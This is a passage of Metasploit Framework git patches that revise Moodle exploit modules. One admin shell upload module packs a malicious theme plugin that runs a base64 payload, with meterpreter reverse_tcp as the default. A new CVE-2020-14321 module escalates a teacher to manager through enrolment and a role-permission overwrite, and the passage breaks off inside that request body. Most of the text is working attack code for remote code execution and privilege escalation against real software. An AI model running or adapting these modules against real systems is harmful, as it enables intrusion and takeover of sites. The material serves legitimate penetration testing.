@@ -5,81 +5,93 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution", - 'Description' => %q( - This module exploits a command execution vulnerability in Moodle 3.6.3. - An attacker can upload malicious file using the plugin installation area. - Plugins must be hosted accommodate "version.php" and "theme_{plugin name}.php" files. - After routine check, the moodle will accept the appropriate plugin file. - Plugin control can be bypassed and malicious code can be placed in the files contained in the plugin. - The module receives a shell session from the server by placing malicious code in the language file. - You must have an admin account to exploit this vulnerability. - ), - 'License' => MSF_LICENSE, - 'Author' => - [ + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Moodle + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Moodle Admin Shell Upload', + 'Description' => %q{ + This module will generate a plugin which can receive a malicious + payload request and upload it to a server running Moodle + provided valid admin credentials are used. Then the payload + is sent for execution, and the plugin uninstalled. + + You must have an admin account to exploit this vulnerability. + + Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2 + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus + 'h00die' # msf module cleanup and inclusion ], - 'References' => - [ + 'References' => [ ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'], - ['URL', 'https://moodle.org'] + ['EDB', '46775'], + ['CVE', '2019-11631'] # rejected, its a feature! ], - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => [['Automatic', {}]], - 'Privileged' => false, - 'DisclosureDate' => "Apr 28 2019", - 'DefaultTarget' => 0)) - + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic', {}]], + 'Privileged' => false, + 'DisclosureDate' => '2019-04-28', + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => "'", + 'Default' => 'php/meterpreter/reverse_tcp' + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + register_options( [ - OptString.new('TARGETURI', [true, "Base Moodle directory path", '/']), - OptString.new('USERNAME', [true, "Admin username to authenticate with", 'admin']), - OptString.new('PASSWORD', [false, "Admin password to authenticate with", 'admin']) + OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']), + OptString.new('PASSWORD', [false, 'Admin password to authenticate with', '']) ] ) end def create_plugin_file # There are syntax errors in creating zip file. So the payload was sent as base64. - plugin_file = Rex::Zip::Archive.new - @header = Rex::Text.rand_text_alpha_upper(4) - @plugin_name = Rex::Text.rand_text_alpha_lower(7) + plugin_file = Rex::Zip::Archive.new + @header = Rex::Text.rand_text_alpha_upper(4) + @plugin_name = Rex::Text.rand_text_alpha_lower(8) + + print_status("Creating plugin named: #{@plugin_name}") path = "#{@plugin_name}/version.php" path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php" # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin. - plugin_file.add_file(path, "version = 2018121704; $plugin->component = 'theme_#{@plugin_name}';") + plugin_file.add_file(path, "version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{@plugin_name}';") plugin_file.add_file(path2, "") + # plugin_file.add_file(path2, "") plugin_file.pack - end - def exec_code(cookie) - handler + def exec_code # Base64 was encoded in "PHP". This process was sent as "HTTP headers". + print_status('Triggering payload') send_request_cgi({ - 'method' => 'GET', - 'cookie' => cookie, - 'uri' => normalize_uri(target_uri.path, "theme", @plugin_name, "lang", "en", "theme_#{@plugin_name}.php"), + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'theme', @plugin_name, 'lang', 'en', "theme_#{@plugin_name}.php"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }) - end - def upload(cookie) - # The beginning of the adventure o_O - print_status("Plugin zip file is being created and loaded...") - res = send_request_cgi( - 'method' => 'GET', - 'cookie' => cookie, + def upload + print_status('Getting variables required for upload') + res = send_request_cgi!( + 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php') ) @@ -87,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote @itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload @author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info @clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info - + # creating multipart data for the upload plugin file pdata = Rex::MIME::Message.new pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"") @@ -96,7 +108,11 @@ class MetasploitModule < Msf::Exploit::Remote pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"') pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"') pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"') - pdata.add_part('4', nil, nil, 'form-data; name="repo_id"') + if @version < Rex::Version.new('3.9.0') + pdata.add_part('4', nil, nil, 'form-data; name="repo_id"') + else + pdata.add_part('5', nil, nil, 'form-data; name="repo_id"') + end pdata.add_part('', nil, nil, 'form-data; name="p"') pdata.add_part('', nil, nil, 'form-data; name="page"') pdata.add_part('filepicker', nil, nil, 'form-data; name="env"') @@ -106,32 +122,33 @@ class MetasploitModule < Msf::Exploit::Remote pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"') pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"') pdata.add_part('/', nil, nil, 'form-data; name="savepath"') - data = pdata.to_s - - res = send_request_cgi({ - 'method' => 'POST', - 'data' => data, + + print_status('Uploading plugin') + res = send_request_cgi!({ + 'method' => 'POST', + 'data' => pdata.to_s, 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", - 'cookie' => cookie, - 'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php?action=upload') + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'), + 'vars_get' => { + 'action' => 'upload' + } }) - if res.body =~ /draftfile.php/ - print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!") - print_status("Attempting to integrate the plugin...") - @zipfile = res.body.split('draft\/')[1].split('\/')[0] - plugin_integration(cookie) - else - fail_with(Failure::NoAccess, "Something went wrong!") + unless res.body =~ /draftfile.php/ + fail_with(Failure::NoAccess, 'Something went wrong!') end + print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!") + print_status('Attempting to integrate the plugin...') + @zipfile = res.body.split('draft\/')[1].split('\/')[0] end - def plugin_integration(cookie) - + def plugin_integration + print_status('Integrating plugin') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), - 'cookie' => cookie, + 'keep_cookies' => true, 'vars_post' => { 'sesskey' => @sesskey, '_qf__tool_installaddon_installfromzip_form' => '1', @@ -144,80 +161,84 @@ class MetasploitModule < Msf::Exploit::Remote } ) - if res.body =~ /installzipstorage/ - print_good("Plugin successfully integrated!") - storage = res.body.split('installzipstorage=')[1].split('&')[0] - - res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), - 'cookie' => cookie, - 'vars_post' => { - 'installzipcomponent' => "theme_#{@plugin_name}", - 'installzipstorage' => storage, - 'installzipconfirm' => '1', - 'sesskey' => @sesskey - } - ) - exec_code(cookie) - - else - fail_with(Failure::NoAccess, "Something went wrong!") + unless res.body =~ /installzipstorage/ + fail_with(Failure::NoAccess, 'Install not successful') end - end - - def login(uname, pass) - # 1st request to get MoodleSession and LoginToken - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'login', 'index.php') - ) - cookie = res.get_cookies - token = res.body.split('logintoken" value="')[1].split('"')[0] + print_good('Plugin successfully integrated!') + storage = res.body.split('installzipstorage=')[1].split('&')[0] - # 2nd request to login validation - res = send_request_cgi( + send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), - 'cookie' => cookie, + 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), + 'keep_cookies' => true, 'vars_post' => { - 'anchor' => '', - 'logintoken' => token, - 'username' => uname, - 'password' => pass + 'installzipcomponent' => "theme_#{@plugin_name}", + 'installzipstorage' => storage, + 'installzipconfirm' => '1', + 'sesskey' => @sesskey } ) - - cookie = res.get_cookies - location = res.redirection.to_s - if res and res.code = 303 && location.include?('testsession') - return cookie - end - - fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}") - return nil end - def check - # Basic check - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'lib', 'upgrade.txt') - ) - - if res && res.code == 200 && res.body =~ /=== 3.7/ - return Exploit::CheckCode::Safe + def clean + print_status('Uninstalling plugin') + if @version < Rex::Version.new('3.9.0') + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), + 'keep_cookies' => true, + 'vars_post' => { + 'cache' => '0', + 'confirmplugincheck' => '0', + 'abortinstallx' => '1', + 'confirmabortinstall' => '1', + 'sesskey' => @sesskey + } + }) else - return Exploit::CheckCode::Appears - end + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), + 'keep_cookies' => true, + 'vars_post' => { + 'cache' => '0', + 'confirmrelease' => '1', + 'confirmplugincheck' => '0', + 'abortinstallx' => "theme_#{@plugin_name}", + 'confirmabortinstall' => '1', + 'sesskey' => @sesskey + } + }) + end end - + + def check + v = moodle_version + return CheckCode::Detected('Unable to determine moodle version') if v.nil? + + # This is a feature, not a vuln, so we assume this to work on 3.0.0+ + # assuming the plugin arch changed before that. + # > 3.0, < 3.9 + @version = Rex::Version.new(v) + if @version > Rex::Version.new('3.0.0') + return CheckCode::Appears("Exploitable Moodle version #{v} detected") + end + + CheckCode::Safe("Non-exploitable Moodle version #{v} detected") + end + def exploit - cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + print_status("Authenticating as user: #{datastore['USERNAME']}") + cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty? + cookies.each do |cookie| + cookie_jar.add(cookie) + end + print_good("Authentication was successful with user: #{datastore['USERNAME']}") - upload(cookie) # start the adventure + upload + plugin_integration + exec_code + clean end -## -# The end of the adventure (o_O) // AkkuS -## end diff --git a/modules/exploits/multi/http/moodle_spelling_path_rce.rb b/modules/exploits/multi/http/moodle_spelling_path_rce.rb index ee922e21b8..4aee9d08d0 100644 --- a/modules/exploits/multi/http/moodle_spelling_path_rce.rb +++ b/modules/exploits/multi/http/moodle_spelling_path_rce.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Payload' => { 'BadChars' => "'", - 'Default' => 'payload/php/meterpreter/reverse_tcp' + 'Default' => 'php/meterpreter/reverse_tcp' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb index 9f86edb4b6..ee800e3ceb 100644 --- a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb +++ b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'WordPress Admin Shell Upload', 'Description' => %q{ This module will generate a plugin, pack the payload into it - and upload it to a server running WordPress providing valid + and upload it to a server running WordPress provided valid admin credentials are used. }, 'License' => MSF_LICENSE, From e3115ba9e9b17feaa8084d5d9cf73590157c78a2 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 29 Aug 2021 17:18:06 -0400 Subject: [PATCH 09/15] rubocop this thing --- modules/exploits/multi/http/moodle_spelling_binary_rce.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/multi/http/moodle_spelling_binary_rce.rb b/modules/exploits/multi/http/moodle_spelling_binary_rce.rb index c53e3bd22b..7117a6b33c 100644 --- a/modules/exploits/multi/http/moodle_spelling_binary_rce.rb +++ b/modules/exploits/multi/http/moodle_spelling_binary_rce.rb @@ -72,11 +72,13 @@ class MetasploitModule < Msf::Exploit::Remote def check return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? + v = moodle_version return CheckCode::Detected('Unable to determine moodle version') if v.nil? if Rex::Version.new(v) <= Rex::Version.new('2.5.2') return CheckCode::Appears("Exploitable Moodle version #{v} detected") end + CheckCode::Safe("Non-exploitable Moodle version #{v} detected") end From 5e17074259648195a1467f88b66df5b844017b95 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 31 Aug 2021 16:52:08 -0400 Subject: [PATCH 10/15] moodle_teacher_enrollement_priv_esc working but not full exploit chain --- lib/msf/core/exploit/remote/http/moodle.rb | 1 + .../core/exploit/remote/http/moodle/base.rb | 2 +- .../core/exploit/remote/http/moodle/course.rb | 61 ++++++ .../exploit/remote/http/moodle/helpers.rb | 42 +++- .../core/exploit/remote/http/moodle/login.rb | 28 +++ .../core/exploit/remote/http/moodle/uris.rb | 21 ++ .../moodle_teacher_enrollement_priv_esc.rb | 201 ++++++++++++++++++ 7 files changed, 354 insertions(+), 2 deletions(-) create mode 100644 lib/msf/core/exploit/remote/http/moodle/course.rb create mode 100644 modules/auxiliary/admin/http/moodle_teacher_enrollement_priv_esc.rb diff --git a/lib/msf/core/exploit/remote/http/moodle.rb b/lib/msf/core/exploit/remote/http/moodle.rb index a3dbd49939..ff77992609 100644 --- a/lib/msf/core/exploit/remote/http/moodle.rb +++ b/lib/msf/core/exploit/remote/http/moodle.rb @@ -12,6 +12,7 @@ module Msf include Msf::Exploit::Remote::HTTP::Moodle::URIs include Msf::Exploit::Remote::HTTP::Moodle::Helpers include Msf::Exploit::Remote::HTTP::Moodle::Login + include Msf::Exploit::Remote::HTTP::Moodle::Course def initialize(info = {}) super diff --git a/lib/msf/core/exploit/remote/http/moodle/base.rb b/lib/msf/core/exploit/remote/http/moodle/base.rb index 8e23e8b5f8..9ea55acbb5 100644 --- a/lib/msf/core/exploit/remote/http/moodle/base.rb +++ b/lib/msf/core/exploit/remote/http/moodle/base.rb @@ -17,7 +17,7 @@ module Msf::Exploit::Remote::HTTP::Moodle::Base res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) - }, timeout, 10) # a cache inconsistency may result in 7 redirects + }, 20, 10) # a cache inconsistency may result in 7 redirects return res if res && res.code == 200 && res.body && moodle_detect_regexes.any? { |r| res.body =~ r } diff --git a/lib/msf/core/exploit/remote/http/moodle/course.rb b/lib/msf/core/exploit/remote/http/moodle/course.rb new file mode 100644 index 0000000000..46271d20f8 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/moodle/course.rb @@ -0,0 +1,61 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Moodle::Course + # performs a moodle course enrollment + # + # @param user_id [String] ID of the user to enrol + # @param course_id [String] ID of the course to enrol in + # @param enrol_id [String] ID of the enrolment + # @param sess_key [String] session key + # @param role [String] role to enrol as. 1 is manager, 5 is student + # @return [Boolean] if the enrolment was successful or not + def enrol(user_id, course_id, enrol_id, sess_key, role = '1') + res = send_request_cgi({ + 'uri' => moodle_enrol_ajax, + 'vars_get' => moodle_helper_enrol_get_data(user_id, course_id, enrol_id, sess_key, role), + 'keep_cookies' => true + }) + return false unless res + if res.body.include?('success') + return true + end + + return false + end + + # obtains the enrolid from an enrolled course + # + # @param course_id [String] ID of the course + # @return [String,nil] the enrolid for the course, nil otherwise + def get_course_enrol_id(course_id) + res = send_request_cgi({ + 'uri' => moodle_user_home, + 'vars_get' => { + 'id' => course_id + }, + 'keep_cookies' => true + }) + return nil unless res + + res.body =~ /name="enrolid" value="(.*?)"/ + Regexp.last_match(1) + end + + # obtains the contextid from an enrolled course + # + # @param course_id [String] ID of the course + # @return [String,nil] the contextid for the course, nil otherwise + def get_course_context_id(course_id) + res = send_request_cgi({ + 'uri' => moodle_user_home, + 'vars_get' => { + 'id' => course_id + }, + 'keep_cookies' => true + }) + return nil unless res + + res.body =~ /contextid=(\d*)"/ + Regexp.last_match(1) + end +end diff --git a/lib/msf/core/exploit/remote/http/moodle/helpers.rb b/lib/msf/core/exploit/remote/http/moodle/helpers.rb index 58da8ad267..c8163808b3 100644 --- a/lib/msf/core/exploit/remote/http/moodle/helpers.rb +++ b/lib/msf/core/exploit/remote/http/moodle/helpers.rb @@ -5,7 +5,7 @@ module Msf::Exploit::Remote::HTTP::Moodle::Helpers private - # Returns the POST data for a Wordpress login request + # Returns the POST data for a Moodle login request # # @param user [String] Username # @param pass [String] Password @@ -20,4 +20,44 @@ module Msf::Exploit::Remote::HTTP::Moodle::Helpers } post_data end + + # Returns the GET data for a Moodle loginas request + # + # @param course_id [String] ID of the course the user is registered in + # @param user_id [String] User ID of the user to impersonate + # @param session_key [String] session key for the current session + # @return [Hash] The get data for vars_get Parameter + def moodle_helper_loginas_get_data(course_id, user_id, session_key) + get_data = { + 'id' => course_id, + 'user' => user_id, + 'sesskey' => session_key + } + get_data + end + + # Returns the GET data for a Moodle Course Enrollment request + # + # @param user_id [String] ID of the user to enrol + # @param course_id [String] ID of the course to enrol in + # @param enrol_id [String] ID of the enrolment + # @param sess_key [String] session key + # @param role [String] Optional value of the role. 1 is default and manager, 5 is student + # @return [Hash] The get data for vars_get Parameter + def moodle_helper_enrol_get_data(user_id, course_id, enrol_id, sess_key, role = '1') + get_data = { + 'mform_showmore_main' => '0', + 'id' => course_id, + 'action' => 'enrol', + 'enrolid' => enrol_id, + 'sesskey' => sess_key, + '_qf__enrol_manual_enrol_users_form' => '1', + 'mform_showmore_id_main' => '0', + 'userlist[]' => user_id, + 'roletoassign' => role, + 'startdate' => '4', + 'duration' => '' + } + get_data + end end diff --git a/lib/msf/core/exploit/remote/http/moodle/login.rb b/lib/msf/core/exploit/remote/http/moodle/login.rb index 6be465c269..9df06ee8c2 100644 --- a/lib/msf/core/exploit/remote/http/moodle/login.rb +++ b/lib/msf/core/exploit/remote/http/moodle/login.rb @@ -31,4 +31,32 @@ module Msf::Exploit::Remote::HTTP::Moodle::Login cookie_jar.clear return cookies end + + # performs a loginas moodle account impersonation + # + # @param course_id [String] ID of the course the user is registered in + # @param user_id [String] User ID of the user to impersonate + # @param session_key [String] session key for the current session + # @return [HttpResponse,nil] the HttpResponse object on successful impersonation, nil otherwise + def moodle_loginas(course_id, user_id, session_key, timeout = 20) + res = send_request_cgi({ + 'uri' => moodle_url_loginas, + 'vars_get' => moodle_helper_loginas_get_data(course_id, user_id, session_key), + 'keep_cookies' => true + }, timeout) + return nil unless res + + # click the 'continue' button + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'course', 'view.php'), + 'vars_get' => + { + 'id' => course_id + }, + 'keep_cookies' => true + }) + return nil unless res + + res + end end diff --git a/lib/msf/core/exploit/remote/http/moodle/uris.rb b/lib/msf/core/exploit/remote/http/moodle/uris.rb index 9444d599cf..102f91ddf5 100644 --- a/lib/msf/core/exploit/remote/http/moodle/uris.rb +++ b/lib/msf/core/exploit/remote/http/moodle/uris.rb @@ -7,4 +7,25 @@ module Msf::Exploit::Remote::HTTP::Moodle::URIs def moodle_url_login normalize_uri(target_uri.path, 'login', 'index.php') end + + # Returns the Moodle Loginas URL + # + # @return [String] Moodle Login URL + def moodle_url_loginas + normalize_uri(target_uri.path, 'course', 'loginas.php') + end + + # Returns the Moodle AJAX Course Enrollment + # + # @return [String] Moodle AJAX course enrolment + def moodle_enrol_ajax + normalize_uri(target_uri.path, 'enrol', 'manual', 'ajax.php') + end + + # Returns the Moodle User Home + # + # @return [String] Moodle User Home + def moodle_user_home + normalize_uri(target_uri.path, 'user', 'index.php') + end end diff --git a/modules/auxiliary/admin/http/moodle_teacher_enrollement_priv_esc.rb b/modules/auxiliary/admin/http/moodle_teacher_enrollement_priv_esc.rb new file mode 100644 index 0000000000..e11c497798 --- /dev/null +++ b/modules/auxiliary/admin/http/moodle_teacher_enrollement_priv_esc.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Moodle + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution', + 'Description' => %q{ + Moodle allows an authenticated teacher to privilege escalate to a manager. With this access, + it is then possible to reconfigure the site permissions to allow managers to install plugins. + This can then be exploited for RCE via exploits/multi/http/moodle_admin_shell_upload + + This module was tested against Moodle version + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'HoangKien1020', # Discovery, POC + 'lanz', # edb + 'h00die' # msf module + ], + 'References' => [ + ['CVE', '2020-14321'], + ['URL', 'https://moodle.org/mod/forum/discuss.php?d=407393'], + ['URL', 'https://github.com/HoangKien1020/CVE-2020-14321'], + ['EDB', '50180'] + ], + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => '2020-07-20', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'Username to authenticate with', '']), + OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']), + OptInt.new('MAXUSERS', [true, 'Maximum amount of users to add to course looking for admin', 100]) + ] + ) + end + + def get_user_info + print_status('Retrieving user info') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user', 'profile.php'), + 'keep_cookies' => true + }) + fail_with(Failure::Unreachable, 'Error retrieving user id') unless res + # user id + res.body =~ /id=(\d)/ + userid = Regexp.last_match(1) + # course id + res.body =~ /course=(\d)/ + courseid = Regexp.last_match(1) + # session key + res.body =~ /"sesskey":"(.*?)"/ + sesskey = Regexp.last_match(1) + return userid, courseid, sesskey + end + + def get_course_managers(context_id) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user', 'index.php'), + 'vars_get' => + { + 'roleid' => '1', + 'contextid' => context_id + }, + 'keep_cookies' => true + }) + fail_with(Failure::Unreachable, 'Error retrieving settings') unless res + return res.body.scan(/id=(\d)&course/).flatten + end + + def give_manager_all_permissions(sess_key) + # we need raw for repeated data properties where a dict overwrites them + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'roles', 'define.php?roleid=1&action=edit'), + 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'cookie' => "#{cookie_jar.cookies[0].name}=#{cookie_jar.cookies[0].value}", + # https://github.com/HoangKien1020/CVE-2020-14321#payload-to-full-permissions + # or + # https://github.com/HoangKien1020/CVE-2020-14321/blob/master/cve202014321.py#L113 + 'data' => "sesskey=#{sess_key}&return=manage&resettype=none&shortname=manager&name=&description=&archetype=manager&contextlevel10=0&contextlevel10=1&contextlevel30=0&contextlevel30=1&contextlevel40=0&contextlevel40=1&contextlevel50=0&contextlevel50=1&contextlevel70=0&contextlevel70=1&contextlevel80=0&contextlevel80=1&allowassign%5B%5D=&allowassign%5B%5D=1&allowassign%5B%5D=2&allowassign%5B%5D=3&allowassign%5B%5D=4&allowassign%5B%5D=5&allowassign%5B%5D=6&allowassign%5B%5D=7&allowassign%5B%5D=8&allowoverride%5B%5D=&allowoverride%5B%5D=1&allowoverride%5B%5D=2&allowoverride%5B%5D=3&allowoverride%5B%5D=4&allowoverride%5B%5D=5&allowoverride%5B%5D=6&allowoverride%5B%5D=7&allowoverride%5B%5D=8&allowswitch%5B%5D=&allowswitch%5B%5D=1&allowswitch%5B%5D=2&allowswitch%5B%5D=3&allowswitch%5B%5D=4&allowswitch%5B%5D=5&allowswitch%5B%5D=6&allowswitch%5B%5D=7&allowswitch%5B%5D=8&allowview%5B%5D=&allowview%5B%5D=1&allowview%5B%5D=2&allowview%5B%5D=3&allowview%5B%5D=4&allowview%5B%5D=5&allowview%5B%5D=6&allowview%5B%5D=7&allowview%5B%5D=8&block%2Fadmin_bookmarks%3Amyaddinstance=1&block%2Fbadges%3Amyaddinstance=1&block%2Fcalendar_month%3Amyaddinstance=1&block%2Fcalendar_upcoming%3Amyaddinstance=1&block%2Fcomments%3Amyaddinstance=1&block%2Fcourse_list%3Amyaddinstance=1&block%2Fglobalsearch%3Amyaddinstance=1&block%2Fglossary_random%3Amyaddinstance=1&block%2Fhtml%3Amyaddinstance=1&block%2Flp%3Aaddinstance=1&block%2Flp%3Amyaddinstance=1&block%2Fmentees%3Amyaddinstance=1&block%2Fmnet_hosts%3Amyaddinstance=1&block%2Fmyoverview%3Amyaddinstance=1&block%2Fmyprofile%3Amyaddinstance=1&block%2Fnavigation%3Amyaddinstance=1&block%2Fnews_items%3Amyaddinstance=1&block%2Fonline_users%3Amyaddinstance=1&block%2Fprivate_files%3Amyaddinstance=1&block%2Frecentlyaccessedcourses%3Amyaddinstance=1&block%2Frecentlyaccesseditems%3Amyaddinstance=1&block%2Frss_client%3Amyaddinstance=1&block%2Fsettings%3Amyaddinstance=1&block%2Fstarredcourses%3Amyaddinstance=1&block%2Ftags%3Amyaddinstance=1&block%2Ftimeline%3Amyaddinstance=1&enrol%2Fcategory%3Asynchronised=1&message%2Fairnotifier%3Amanagedevice=1&moodle%2Fanalytics%3Alistowninsights=1&moodle%2Fanalytics%3Amanagemodels=1&moodle%2Fbadges%3Amanageglobalsettings=1&moodle%2Fblog%3Acreate=1&moodle%2Fblog%3Amanageentries=1&moodle%2Fblog%3Amanageexternal=1&moodle%2Fblog%3Asearch=1&moodle%2Fblog%3Aview=1&moodle%2Fblog%3Aviewdrafts=1&moodle%2Fcourse%3Aconfigurecustomfields=1&moodle%2Fcourse%3Arecommendactivity=1&moodle%2Fgrade%3Amanagesharedforms=1&moodle%2Fgrade%3Asharegradingforms=1&moodle%2Fmy%3Aconfigsyspages=1&moodle%2Fmy%3Amanageblocks=1&moodle%2Fportfolio%3Aexport=1&moodle%2Fquestion%3Aconfig=1&moodle%2Frestore%3Acreateuser=1&moodle%2Frole%3Amanage=1&moodle%2Fsearch%3Aquery=1&moodle%2Fsite%3Aconfig=1&moodle%2Fsite%3Aconfigview=1&moodle%2Fsite%3Adeleteanymessage=1&moodle%2Fsite%3Adeleteownmessage=1&moodle%2Fsite%3Adoclinks=1&moodle%2Fsite%3Aforcelanguage=1&moodle%2Fsite%3Amaintenanceaccess=1&moodle%2Fsite%3Amanageallmessaging=1&moodle%2Fsite%3Amessageanyuser=1&moodle%2Fsite%3Amnetlogintoremote=1&moodle%2Fsite%3Areadallmessages=1&moodle%2Fsite%3Asendmessage=1&moodle%2Fsite%3Auploadusers=1&moodle%2Fsite%3Aviewparticipants=1&moodle%2Ftag%3Aedit=1&moodle%2Ftag%3Aeditblocks=1&moodle%2Ftag%3Aflag=1&moodle%2Ftag%3Amanage=1&moodle%2Fuser%3Achangeownpassword=1&moodle%2Fuser%3Acreate=1&moodle%2Fuser%3Adelete=1&moodle%2Fuser%3Aeditownmessageprofile=1&moodle%2Fuser%3Aeditownprofile=1&moodle%2Fuser%3Aignoreuserquota=1&moodle%2Fuser%3Amanageownblocks=1&moodle%2Fuser%3Amanageownfiles=1&moodle%2Fuser%3Amanagesyspages=1&moodle%2Fuser%3Aupdate=1&moodle%2Fwebservice%3Acreatemobiletoken=1&moodle%2Fwebservice%3Acreatetoken=1&moodle%2Fwebservice%3Amanagealltokens=1&quizaccess%2Fseb%3Amanagetemplates=1&report%2Fcourseoverview%3Aview=1&report%2Fperformance%3Aview=1&report%2Fquestioninstances%3Aview=1&report%2Fsecurity%3Aview=1&report%2Fstatus%3Aview=1&tool%2Fcustomlang%3Aedit=1&tool%2Fcustomlang%3Aview=1&tool%2Fdataprivacy%3Amanagedataregistry=1&tool%2Fdataprivacy%3Amanagedatarequests=1&tool%2Fdataprivacy%3Arequestdeleteforotheruser=1&tool%2Flpmigrate%3Aframeworksmigrate=1&tool%2Fmonitor%3Amanagetool=1&tool%2Fpolicy%3Aaccept=1&tool%2Fpolicy%3Amanagedocs=1&tool%2Fpolicy%3Aviewacceptances=1&tool%2Fuploaduser%3Auploaduserpictures=1&tool%2Fusertours%3Amanagetours=1&auth%2Foauth2%3Amanagelinkedlogins=1&moodle%2Fbadges%3Amanageownbadges=1&moodle%2Fbadges%3Aviewotherbadges=1&moodle%2Fcompetency%3Aevidencedelete=1&moodle%2Fcompetency%3Aplancomment=1&moodle%2Fcompetency%3Aplancommentown=1&moodle%2Fcompetency%3Aplanmanage=1&moodle%2Fcompetency%3Aplanmanagedraft=1&moodle%2Fcompetency%3Aplanmanageown=1&moodle%2Fcompetency%3Aplanmanageowndraft=1&moodle%2Fcompetency%3Aplanrequestreview=1&moodle%2Fcompetency%3Aplanrequestreviewown=1&moodle%2Fcompetency%3Aplanreview=1&moodle%2Fcompetency%3Aplanview=1&moodle%2Fcompetency%3Aplanviewdraft=1&moodle%2Fcompetency%3Aplanviewown=1&moodle%2Fcompetency%3Aplanviewowndraft=1&moodle%2Fcompetency%3Ausercompetencycomment=1&moodle%2Fcompetency%3Ausercompetencycommentown=1&